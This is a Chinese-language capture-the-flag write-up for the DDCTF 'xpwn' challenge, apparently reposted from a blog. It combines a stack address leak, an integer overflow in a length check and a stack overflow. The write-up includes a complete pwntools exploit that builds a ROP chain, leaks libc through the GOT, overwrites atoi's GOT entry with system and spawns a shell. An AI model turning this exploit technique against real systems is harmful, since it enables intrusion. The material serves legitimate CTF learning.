DDCTF-xpwn-格式化字符串,整数溢出,劫持函数

首先查看保护
在这里插入图片描述
放入IDA中查看主函数

int __cdecl main(int a1)
{
  int v1; // eax
  char buf; // [esp+0h] [ebp-4Ch]
  size_t nbytes; // [esp+40h] [ebp-Ch]
  int *v5; // [esp+44h] [ebp-8h]

  v5 = &a1;
  setbuf(stdout, 0);
  sub_80485DB(stdin, stdout);
  sleep(1u);
  printf("Please set the length of password: ");
  nbytes = sub_804862D();
  if ( (signed int)nbytes > 63 )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Enter password(lenth %u): ", nbytes);
  v1 = fileno(stdin);
  read(v1, &buf, nbytes);
  puts("All done, bye!");
  return 0;
}

分析程序流程,首先让你输入用户名,进入输入函数观察

int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
  int v2; // eax
  char buf; // [esp+0h] [ebp-48h]

  printf("Enter username: ");
  v2 = fileno(stream);
  read(v2, &buf, 0x40u);
  return fprintf(a2, "Hello %s", &buf);
}

read函数限制了长度,但是有个格式化字符串。
继续向下分析,要求你输入password的长度,password的长度被限制了不能大于63,但是(signed int)nbytes长度不能大于63,这里就有可疑点了nbytes为size_t类型即为unsigned int类型但是比较的时候将其转换为有符号。此处出现整数溢出漏洞

int sub_804862D()
{
  int v0; // eax

  v0 = fileno(stdin);
  read(v0, nptr, 0x10u);
  return atoi(nptr);                            // 将字符串转换为整形
}

之后便是让你输入密码了,但是输入的长度被nbyte限制了,但是程序存在整数溢出漏洞可以输入-1使得最后read长度变得很长最后达到栈溢出的效果。但是事实并非如此。最后还有个检验

.text:0804873A                 lea     esp, [ebp-8]
.text:0804873D                 pop     ecx
.text:0804873E                 pop     ebx
.text:0804873F                 pop     ebp
.text:08048740                 lea     esp, [ecx-4]
.text:08048743                 retn

使栈顶指向ebp-8处,取出值放入ecx,ebx,ebp最后再将栈顶执行值ecx-4处返回。此处我们需要修改ebp-8处的栈的值让其retn让其返回到rop链之中,便可以实现rop,但是栈每次加载的地址不一样,需要对栈地址进行泄露。于是我们可以利用格式化字符漏洞泄露栈的地址。虽然对输入的长度进行了限制为输入40个,但是通过调试可以观察到,输入长度为40时正好泄露栈的地址。记录下此时我的栈的地址为FFFB3068而输入处存放的地址为FFB301C,所以我们得知泄露地址减去0x4c再加上4即可返回到密码输入的地址构造ROP链。

首先先泄露puts的GOT地址,计算得到偏移获取system函数的地址,将system函数的地址写入atoi的GOT表中,并且把"/bin/sh\x00"也写入其中。这样执行atoi函数即为执行system函数,便可以获取权限.

exp


from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#context.log_level = "debug"
p=process("./xpwn")
#gdb.attach(p)
libc = ELF("./libc.so.6")
elf = ELF("./xpwn")
p.recvuntil("username: ")
p.send("a"*0x28)
p.recvuntil("a"*0x28)
stack_addr = u32(p.recv(numb=0x4))
print hex(stack_addr)
p.recvuntil("password: ")
p.sendline("-1")
p.recvuntil("): ")
payload = p32(elf.symbols['puts'])
payload += p32(0x80487C6)
payload += p32(elf.got['puts'])
payload += p32(elf.symbols['read'])
payload += p32(0x80487A9)
payload += p32(0)
payload += p32(elf.got['atoi'])
payload += p32(0x4 + 0x8)
payload += p32(elf.symbols['atoi'])
payload += p32(0xdeadbeef)
payload += p32(elf.got['atoi'] + 0x4)
payload += "\x90" * 0x18
payload += p32(stack_addr-0x4c + 0x4)
#gdb.attach(p)
p.send(payload)
p.recvline()
puts_addr = u32(p.recv(numb=4))
libc_base = puts_addr - libc.symbols['puts']
system_addr=libc_base+libc.symbols['system']
payload = p32(system_addr)
payload += "/bin/sh\x00"
p.send(payload)
p.interactive()

最后感谢h4lo和c0laaaa两位师傅的指导

发布了49 篇原创文章 · 获赞 14 · 访问量 6950

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/89449822